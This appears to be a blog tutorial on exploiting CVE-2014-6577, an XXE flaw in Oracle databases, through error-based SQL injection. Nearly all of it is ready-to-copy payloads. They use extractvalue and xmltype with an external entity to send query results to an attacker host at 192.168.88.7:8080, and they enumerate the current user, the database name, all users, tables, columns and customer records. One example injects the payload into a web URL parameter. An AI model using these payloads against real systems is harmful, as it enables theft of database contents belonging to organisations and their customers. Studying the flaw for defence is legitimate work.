Technical Details of the vulnerability (CVE-2014-6577)
An old bug was found on oracle named XXE and due to the security features of Oracle’s XML parser, the external schema is resolved and not parsed. This prevents some XXE attacks like reading local files on remote system. However, it is possible to exfiltrate the data via out of band channels, perform port-scanning on remote internal systems, perform SSRF attacks.
So, after checking this vulnerability, I thought that it will be fun to exfiltrate the data from remote database server using SQL Queries.
According to me, this will be error based SQL Injection in Oracle Database in which it is possible for attacker to exfiltrate the data from the errors generated by back-end database.
Error Based SQL Injection by abusing XXE
For this case, we will be using extractvalue Oracle Function. So, for our case the basic syntax is shown below:
1 |
select extractValue(xmlinstance, '/PurchaseOrder/Reference') from dual; |
I’ll be performing all of these activities on my ORACLE Developer console. So, the basis XXE which can be triggered using extractvalue function is like this:-
Query used:-
1 2 3 |
select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://192.168.88.7:8080/'||(select user from dual)||'"> %remote; %param1;]>'),'/l') from dual; |
Let me explain what just happened above, the query we have used above will try to resolve the external entity and exfiltrate the result of the SQL query on the IP address mentioned above. As you can see above, error was reflected as soon I executed the query and is self explanatory.
So, the result of the above query is:-
Great, we received the result of the query : “SELECT USER FROM DUAL"
on our attacker’s machine
So, just assume you have a website like:
http://example.com/test.jsp?id=1
and vulnerable to string based SQL Injection. Then, it is possible to exfiltrate the data on your attacker machine by injecting the query like this way:-
http://example.com/test.jsp?id=1' or 1=extractvalue(xmltype('<?xml version="1.0"
encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://192.168.88.7:8080/'||(select user from dual)||'"> %remote; %param1;]>'),'/l') from dual;--
So, after finding the current user details, it is possible for me to get the detail of current database as shown below:-
Below is the query, if you want to copy it directly:-
1 2 3 |
select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://192.168.88.7:8080/'||(SELECT SYS.DATABASE_NAME FROM DUAL)||'"> %remote; %param1;]>'),'/l') from dual; |
Further, I need to extract the all the details as shown below:
All users of the back-end database:-
1 2 3 4 |
select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://192.168.88.7:8080/A='||(select listagg(username|| ':::') within group (order by user_id) from all_users)||'"> %remote; %param1;]>'),NULL) from dual; |
Tables of the back-end database:-
1 2 3 4 |
select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://192.168.88.7:8080/A='||(select listagg(table_name || ':::') within group (order by owner) from all_tables where owner = 'SYSTEM' or tablespace_name = 'SYSTEM')||'"> %remote; %param1;]>'),NULL) from dual; |
Above, we have found that current user name is “SCOTT” and I need to find all the tables and columns created by “SCOTT” user.
So, below are the queries and screenshots:-
1 2 3 4 |
select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://192.168.88.7:8080/A='||(select listagg(table_name || ':::') within group (order by owner) from all_tables where owner = 'SCOTT')||'"> %remote; %param1;]>'),NULL) from dual; |
So, only one table is created by “SCOTT” user named “CUSTOMERS“. So, the columns present in “customers” table is shown below:
1 2 3 4 |
select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://192.168.88.7:8080/A='||(select listagg(COLUMN_NAME||':::') within group (order by column_name) from ALL_TAB_COLUMNS where TABLE_NAME='CUSTOMERS')||'"> %remote; %param1;]>'),NULL) from dual; |
Data from Enumerated Columns
1 2 3 4 |
select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://192.168.88.7:8080/A='||(select cust_name from customers where cust_id = 2)||'"> %remote; %param1;]>'),NULL) from dual; |